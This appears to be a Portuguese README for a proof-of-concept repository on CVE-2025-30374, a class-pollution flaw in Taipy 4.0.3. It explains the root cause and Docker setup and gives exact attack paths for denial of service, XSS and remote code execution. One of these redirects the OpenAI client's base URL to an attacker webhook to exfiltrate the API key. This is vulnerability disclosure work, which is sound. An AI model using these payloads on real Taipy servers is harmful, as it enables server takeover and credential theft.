
PoCs de exploração para o CVE-2025-30374, uma vulnerabilidade de poluição de classe no Taipy, demonstrando RCE, XSS refletido, DoS e vazamento de credenciais da OpenAI com scripts de reprodução baseados em Docker.
Uma vulnerabilidade de poluição de classe foi identificada no Taipy v4.0.3 (a versão mais recente na época da descoberta). Essa vulnerabilidade permite que atacantes não autorizados sobrescrevam o contexto de runtime do lado do servidor do Taipy, levando a consequências graves como RCE, XSS Refletido, Negação de Serviço (DoS) e vazamento de credenciais de autorização sensíveis (por exemplo, tokens da OpenAI).
Contexto
A poluição de classe (análoga à poluição de protótipo em JavaScript) é uma vulnerabilidade relativamente nova em Python. Ela ocorre quando um atacante consegue, de forma inesperada, sobrescrever as variáveis globais de um módulo ou os atributos de certas classes e funções em tempo de execução. Esse problema é categorizado sob CWE-915.
Para mais informações sobre poluição de classe, consulte:
[1] Wiki de Poluição de Classe
[2] CWE-915: Modificação Inadequadamente Controlada de Atributos de Objetos Determinados Dinamicamente
Vulnerabilidade de Poluição de Classe encontrada no Taipy
A causa raiz dessa vulnerabilidade está no uso, pelo Taipy, de uma função set recursiva para atualizar os valores de variáveis nos estados do Taipy. Tanto o parâmetro quanto o são derivados de entrada do lado do cliente e não possuem validação adequada. Isso permite que um atacante injete caminhos de atributos maliciosos, como , para sobrescrever o método de .
namevalue_TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.setset_TaipyBaseAs seguintes funções são invocadas em múltiplas rotas via _manage_message para atualizar os estados a partir do lado do cliente:
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L37-L42
def _setscopeattr_drill(gui: "Gui", name: str, value: t.Any):
if gui._is_broadcasting():
for scope in gui._get_all_data_scopes().values():
_attrsetter(scope, name, value)
else:
_attrsetter(gui._get_data_scope(), name, value)
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58
def _attrsetter(obj: object, attr_str: str, value: object) -> None:
var_name_split = attr_str.split(sep=".")
for i in range(len(var_name_split) - 1):
sub_name = var_name_split[i]
obj = getattr(obj, sub_name)
setattr(obj, var_name_split[-1], value)
Configuração
Todos os PoCs abaixo têm como alvo o aplicativo de chat de demonstração incluído neste repositório (veja app/), que é baseado na demonstração oficial do Taipy LLM Chat (https://github.com/Avaiga/demo-llm-chat) e fixa o Taipy 4.0.3 (a versão da época da descoberta). Compile e execute-o com Docker:
docker build -t taipy-cve-30374 app/
docker run -d -p 5003:5000 taipy-cve-30374 # served at http://127.0.0.1:5003
Os PoCs de DoS, XSS e RCE não precisam de uma chave OpenAI válida. Para o PoC de vazamento de token, inicie o aplicativo com uma chave real para que a requisição exfiltrada a carregue:
docker run -d -p 5003:5000 -e OPENAI_API_KEY=sk-... taipy-cve-30374
Em seguida, execute o script correspondente a partir da raiz do repositório (por exemplo, python poc-dos.py). Instale primeiro as dependências do cliente com pip install "python-socketio[client]" requests.
Consequência 1: DoS
O exploit completo pode ser encontrado em: poc-dos.py
poc-dos.py sobrescreve o método set da classe _TaipyBase compartilhada com um inteiro não chamável, usando uma variável detentora vinculada como ponto de entrada:
_TpD_tpec_TpExPr_conversation_TPMDL_2.__class__.__base__.set = 71
Como todo detentor de valor do Taipy (_TaipyData, _TaipyLov, _TaipyLovValue, ...) deriva de _TaipyBase, o servidor então lança TypeError: 'int' object is not callable ao (re)avaliar qualquer variável vinculada. Isso afeta todas as sessões, não apenas a do atacante, e persiste até o aplicativo ser reiniciado.
Consequência 2: Vazamento de Token da OpenAI
O exploit completo pode ser encontrado em: poc-token-exfil.py
O aplicativo de demonstração mantém um openai.Client em uma variável global de módulo (client) que é vinculado ao estado do Taipy e usado como state.client.chat.completions.create(...). O poc-token-exfil.py polui client.base_url com uma URL controlada pelo atacante:
client.base_url = https://webhook.site/<your-uuid>
Toda requisição de chat subsequente, que carrega o cabeçalho Authorization: Bearer <OPENAI_API_KEY> e a conversa completa, é então redirecionada para o servidor controlado pelo atacante, vazando o token da OpenAI.
Consequência 3: XSS

Na função a seguir, quando o aplicativo tenta renderizar o conteúdo do usuário, se o renderizador apropriado não for encontrado, ele recorre a retornar type(content).__name__ como resposta HTML:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L544
return (
'<div style="background:white;color:red;">'
+ (f"No valid provider for type {type(content).__name__}" if content else "Wrong context.")
+ "</div>"
)
No entanto, o atributo __name__ de um objeto de classe é definível por meio de poluição de classe, por exemplo, tp_TpExPr_gui_get_adapted_lov_past_conversations_NoneType_TPMDL_2_0.__class__.__name__. Um atacante pode sobrescrever esse atributo com uma carga maliciosa de HTML ou JavaScript.
O exploit completo pode ser encontrado em: poc-xss-no-dot.py (funciona contra a v4.0.3) e poc-xss.py (variante com ponto "U", Taipy ≤ 4.0.2).
Consequência 4: RCE

A seguir, mostramos como isso pode levar a um ataque de RCE.
A vulnerabilidade de poluição de classe permite que atacantes definam atributos arbitrários em objetos que aparecem no estado da sessão, o qual não contém muitos objetos sensíveis por padrão. No entanto, descobrimos que a rota Gui.on_action pode ser utilizada para invocar o manipulador Gui.table_on_edit, o que faz com que novos objetos do módulo __main__ sejam vinculados ao estado da sessão. Na linha a seguir, uma chamada getattr no objeto de estado aciona automaticamente a operação de vinculação, enquanto um setattr subsequente redefine imediatamente o valor vinculado para None:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L1872
setattr(state, var_name, self._get_accessor().on_edit(getattr(state, var_name), payload))
Esse comportamento cria uma breve janela de corrida em que referências de objeto, como a classe Gui, existem temporariamente no estado da sessão. Durante essa janela, atacantes podem explorar a poluição de classe para sobrescrever atributos desses objetos.
Descobrimos ainda que o atributo Gui.__SELF_VAR é usado como prefixo ao construir expressões que são passadas para a função embutida eval() do Python:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L146
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L3011
__SELF_VAR = "__gui"
# ...
glob_ctx[Gui.__SELF_VAR] = self
Ao sobrescrever o valor de __SELF_VAR por meio de poluição de classe, um atacante pode controlar a expressão que está sendo avaliada, levando, em última instância, à execução arbitrária de código no servidor.
O exploit completo pode ser encontrado em: poc-rce-no-dot.py (funciona contra a v4.0.3) e poc-rce.py (variante com ponto "U", Taipy ≤ 4.0.2). Ambos vinculam o objeto Gui ao estado da sessão por meio da rota on_action chamando table_on_edit e então disputam a gravação da poluição de classe contra isso, então podem precisar de várias tentativas para obter êxito.
Qualquer usuário do Taipy pode explorar essa vulnerabilidade para lançar RCE, XSS Refletido, Negação de Serviço (DoS) e vazamento de credenciais de autorização sensíveis (por exemplo, tokens da OpenAI).